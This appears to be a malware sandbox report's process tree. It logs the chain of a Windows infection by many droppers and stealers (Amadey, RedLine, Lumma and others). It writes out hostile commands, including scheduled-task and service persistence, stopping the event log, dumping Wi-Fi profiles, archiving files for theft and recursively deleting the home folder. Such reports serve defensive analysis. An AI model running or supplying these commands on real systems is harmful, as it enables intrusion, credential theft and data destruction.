"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffa71759758,0x7ffa71759768,0x7ffa71759778
6⤵
PID:5680

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1832 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:8
6⤵
PID:6064

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1788 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:8
6⤵
PID:2920

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1600 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:2
6⤵
PID:4340

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3108 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:1
6⤵
PID:6740

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3096 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:1
6⤵
PID:6836

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=1068 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:1
6⤵
PID:7764

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4736 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:8
6⤵
PID:6668

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=5068 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:1
6⤵
PID:5640

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5300 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:8
6⤵
PID:6056

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5504 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:8
6⤵
PID:6296

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5488 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:8
6⤵
PID:7340

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6116 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:8
6⤵
PID:7336

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5960 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:8
6⤵
PID:8100

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
5⤵
PID:2096

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
6⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:5232

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5232.0.1529740076\724347768" -parentBuildID 20221007134813 -prefsHandle 1636 -prefMapHandle 1628 -prefsLen 20747 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a4b9f111-a507-431e-86bc-6124e068ac71} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 1728 1c0181d9558 gpu
7⤵
PID:6516

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5232.1.1057563302\995473958" -parentBuildID 20221007134813 -prefsHandle 2172 -prefMapHandle 2168 -prefsLen 21608 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5f197fc6-c1c9-4987-878d-517264c76da3} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2200 1c017939a58 socket
7⤵
PID:6028

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5232.2.1601956699\219778415" -childID 1 -isForBrowser -prefsHandle 3260 -prefMapHandle 3256 -prefsLen 21976 -prefMapSize 233444 -jsInitHandle 916 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ce49b926-66b0-4ecf-90c7-3cb3b504f868} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 3320 1c01c3ee958 tab
7⤵
PID:7264

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.linkedin.com/login
5⤵
PID:8060

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffa71759758,0x7ffa71759768,0x7ffa71759778
6⤵
PID:8092

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.linkedin.com/login
5⤵
PID:7860

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.linkedin.com/login
6⤵
PID:8052

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.facebook.com/login
5⤵
- Enumerates system info in registry
PID:6000

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xd0,0xd4,0xd8,0xac,0xdc,0x7ffa71759758,0x7ffa71759768,0x7ffa71759778
6⤵
PID:7940

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4480

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://accounts.google.com
5⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:1436

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffa752f9758,0x7ffa752f9768,0x7ffa752f9778
6⤵
PID:1216

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2072 --field-trial-handle=1832,i,849681488697078616,5437227592256930,131072 /prefetch:8
6⤵
PID:7828

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1788 --field-trial-handle=1832,i,849681488697078616,5437227592256930,131072 /prefetch:8
6⤵
PID:5792

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1656 --field-trial-handle=1832,i,849681488697078616,5437227592256930,131072 /prefetch:2
6⤵
PID:5308

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2632 --field-trial-handle=1832,i,849681488697078616,5437227592256930,131072 /prefetch:1
6⤵
- Drops file in Program Files directory
PID:9124

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2624 --field-trial-handle=1832,i,849681488697078616,5437227592256930,131072 /prefetch:1
6⤵
PID:9152

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com
5⤵
PID:6512

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com
6⤵
PID:488

C:\Users\Admin\AppData\Local\Temp\1000031001\fu.exe
"C:\Users\Admin\AppData\Local\Temp\1000031001\fu.exe"
4⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4308

C:\Users\Admin\AppData\Local\Temp\1000395001\ladas.exe
"C:\Users\Admin\AppData\Local\Temp\1000395001\ladas.exe"
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1368

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
4⤵
- Loads dropped DLL
PID:3888

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
5⤵
PID:5984

C:\Windows\system32\netsh.exe
netsh wlan show profiles
6⤵
PID:5316

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\063448957137_Desktop.zip' -CompressionLevel Optimal
6⤵
PID:6744

C:\Users\Admin\AppData\Local\Temp\1000396001\dota.exe
"C:\Users\Admin\AppData\Local\Temp\1000396001\dota.exe"
4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:4900

C:\Users\Admin\AppData\Local\Temp\1000398001\InstallSetup3.exe
"C:\Users\Admin\AppData\Local\Temp\1000398001\InstallSetup3.exe"
4⤵
PID:5968

C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
5⤵
- Suspicious use of SetWindowsHookEx
PID:3000

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
6⤵
PID:2992

C:\Windows\SysWOW64\chcp.com
chcp 1251
7⤵
PID:3956

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
7⤵
- Creates scheduled task(s)
PID:6428

C:\Users\Admin\AppData\Local\Temp\nsv4DA1.tmp
C:\Users\Admin\AppData\Local\Temp\nsv4DA1.tmp
5⤵
PID:6372

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:5140

C:\Users\Admin\AppData\Local\Temp\1000399001\for.exe
"C:\Users\Admin\AppData\Local\Temp\1000399001\for.exe"
4⤵
- Suspicious use of SetThreadContext
PID:5448

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
5⤵
PID:6936

C:\Users\Admin\AppData\Roaming\configurationValue\STAR.exe
"C:\Users\Admin\AppData\Roaming\configurationValue\STAR.exe"
6⤵
PID:7624

C:\Users\Admin\AppData\Roaming\configurationValue\bott.exe
"C:\Users\Admin\AppData\Roaming\configurationValue\bott.exe"
6⤵
PID:7548

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
6⤵
PID:9904

C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 3
7⤵
PID:10968

C:\Users\Admin\AppData\Local\Temp\1000400001\lolololoMRK123.exe
"C:\Users\Admin\AppData\Local\Temp\1000400001\lolololoMRK123.exe"
4⤵
- Suspicious use of SetThreadContext
PID:616

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
5⤵
PID:7128

C:\Users\Admin\AppData\Local\Temp\1000401001\National.exe
"C:\Users\Admin\AppData\Local\Temp\1000401001\National.exe"
4⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:6896

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
5⤵
PID:6432

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
5⤵
PID:5684

C:\Users\Admin\AppData\Local\Temp\1000402001\987123.exe
"C:\Users\Admin\AppData\Local\Temp\1000402001\987123.exe"
4⤵
- Checks SCSI registry key(s)
PID:2492

C:\Users\Admin\AppData\Local\Temp\1000404001\dayroc.exe
"C:\Users\Admin\AppData\Local\Temp\1000404001\dayroc.exe"
4⤵
PID:6344

C:\Users\Admin\AppData\Local\Temp\1000405001\goldprime12241421421.exe
"C:\Users\Admin\AppData\Local\Temp\1000405001\goldprime12241421421.exe"
4⤵
- Suspicious use of SetThreadContext
PID:828

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
5⤵
PID:7388

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
5⤵
PID:7512

C:\Users\Admin\AppData\Local\Temp\1000406001\phonesteal.exe
"C:\Users\Admin\AppData\Local\Temp\1000406001\phonesteal.exe"
4⤵
PID:7028

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "THYAWYFT"
5⤵
- Launches sc.exe
PID:7088

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "THYAWYFT" binpath= "C:\ProgramData\mkiurbjjkopl\vzxmpncsktsu.exe" start= "auto"
5⤵
- Launches sc.exe
PID:3388

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "THYAWYFT"
5⤵
- Launches sc.exe
PID:6484

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
5⤵
- Launches sc.exe
PID:6556

C:\Users\Admin\AppData\Local\Temp\1000407001\daisy123.exe
"C:\Users\Admin\AppData\Local\Temp\1000407001\daisy123.exe"
4⤵
PID:5660

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
5⤵
PID:7456

C:\Users\Admin\AppData\Local\Temp\1000408001\lumma123142124.exe
"C:\Users\Admin\AppData\Local\Temp\1000408001\lumma123142124.exe"
4⤵
- Suspicious use of SetThreadContext
PID:224

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
5⤵
PID:3604

C:\Users\Admin\AppData\Local\Temp\1000409001\new.exe
"C:\Users\Admin\AppData\Local\Temp\1000409001\new.exe"
4⤵
PID:404

C:\Users\Admin\AppData\Local\Temp\1000411001\Amadey.exe
"C:\Users\Admin\AppData\Local\Temp\1000411001\Amadey.exe"
4⤵
- Drops file in Windows directory
PID:2992

C:\Users\Admin\AppData\Local\Temp\1000412001\1800.exe
"C:\Users\Admin\AppData\Local\Temp\1000412001\1800.exe"
4⤵
- Checks computer location settings
- Adds Run key to start application
- Modifies registry class
PID:3408

C:\ProgramData\viewer\viewer.exe
"C:\ProgramData\viewer\viewer.exe"
5⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:7036

\??\c:\program files (x86)\internet explorer\iexplore.exe
"c:\program files (x86)\internet explorer\iexplore.exe"
6⤵
- Suspicious use of SetWindowsHookEx
PID:6880

C:\Users\Admin\AppData\Local\Temp\1000410001\redline1234min.exe
"C:\Users\Admin\AppData\Local\Temp\1000410001\redline1234min.exe"
4⤵
- Checks BIOS information in registry
PID:6240

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "FLWCUERA"
5⤵
- Launches sc.exe
PID:7400

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "FLWCUERA" binpath= "C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe" start= "auto"
5⤵
- Launches sc.exe
PID:7908

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\1000410001\redline1234min.exe"
5⤵
PID:7304

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
6⤵
PID:7620

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "FLWCUERA"
5⤵
- Launches sc.exe
PID:7264

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
5⤵
- Launches sc.exe
PID:7276

C:\Users\Admin\AppData\Local\Temp\Files\install.exe
"C:\Users\Admin\AppData\Local\Temp\Files\install.exe"
2⤵
- Executes dropped EXE
PID:2944

C:\Users\Admin\AppData\Local\Temp\Files\install.exe
"C:\Users\Admin\AppData\Local\Temp\Files\install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Checks processor information in registry
PID:5428

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\netconn_properties.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/netconn_properties.exe
4⤵
PID:6616

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\netconn_properties.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/netconn_properties.exe
4⤵
PID:7948

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\registers.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/registers.exe
4⤵
- Loads dropped DLL
PID:8148

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t """
4⤵
PID:4324

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t ""
5⤵
PID:8944

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe""
4⤵
PID:8828

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe"
5⤵
PID:8672

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe""
4⤵
PID:8268

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe"
5⤵
PID:7716

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\msiexec.exe""
4⤵
PID:6516

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\msiexec.exe"
5⤵
PID:8896

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\msiexec.exe""
4⤵
PID:6696

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\msiexec.exe"
5⤵
PID:8708

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\smss.exe""
4⤵
PID:7480

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\smss.exe"
5⤵
PID:7032

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\smss.exe""
4⤵
- Suspicious use of SetThreadContext
PID:6816

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\smss.exe"
5⤵
PID:7832

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\conhost.exe""
4⤵
PID:6368

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\conhost.exe"
5⤵
PID:10936

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\conhost.exe""
4⤵
PID:6560

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\conhost.exe"
5⤵
PID:9852

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe""
4⤵
PID:10684

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe"
5⤵
PID:9916

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe""
4⤵
PID:2388

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe"
5⤵
PID:7624

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\csrss.exe""
4⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6416

C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exe
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\csrss.exe"
5⤵
PID:10260

C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe
"C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe"
2⤵
- Executes dropped EXE
PID:4288

C:\Users\Admin\AppData\Local\Temp\Files\notepad.exe
"C:\Users\Admin\AppData\Local\Temp\Files\notepad.exe"
2⤵
PID:1676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Remove-Item $HOME -Recurse
3⤵
PID:5920

C:\Users\Admin\AppData\Local\Temp\Files\32.exe
"C:\Users\Admin\AppData\Local\Temp\Files\32.exe"
2⤵
PID:5452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5452 -s 276
3⤵
- Program crash
PID:5752

C:\Users\Admin\AppData\Local\Temp\Files\workforroc.exe
"C:\Users\Admin\AppData\Local\Temp\Files\workforroc.exe"
2⤵
PID:5128

C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe
"C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe"
3⤵
PID:6180

C:\Users\Admin\AppData\Local\Temp\toolspub1.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub1.exe"
3⤵
PID:6788

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
3⤵
PID:5196

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
PID:5768

C:\Users\Admin\AppData\Local\Temp\rty25.exe
"C:\Users\Admin\AppData\Local\Temp\rty25.exe"
3⤵
PID:3044

C:\Users\Admin\AppData\Local\Temp\Files\X1.exe
"C:\Users\Admin\AppData\Local\Temp\Files\X1.exe"
2⤵
PID:5504

C:\Windows\system32\sc.exe
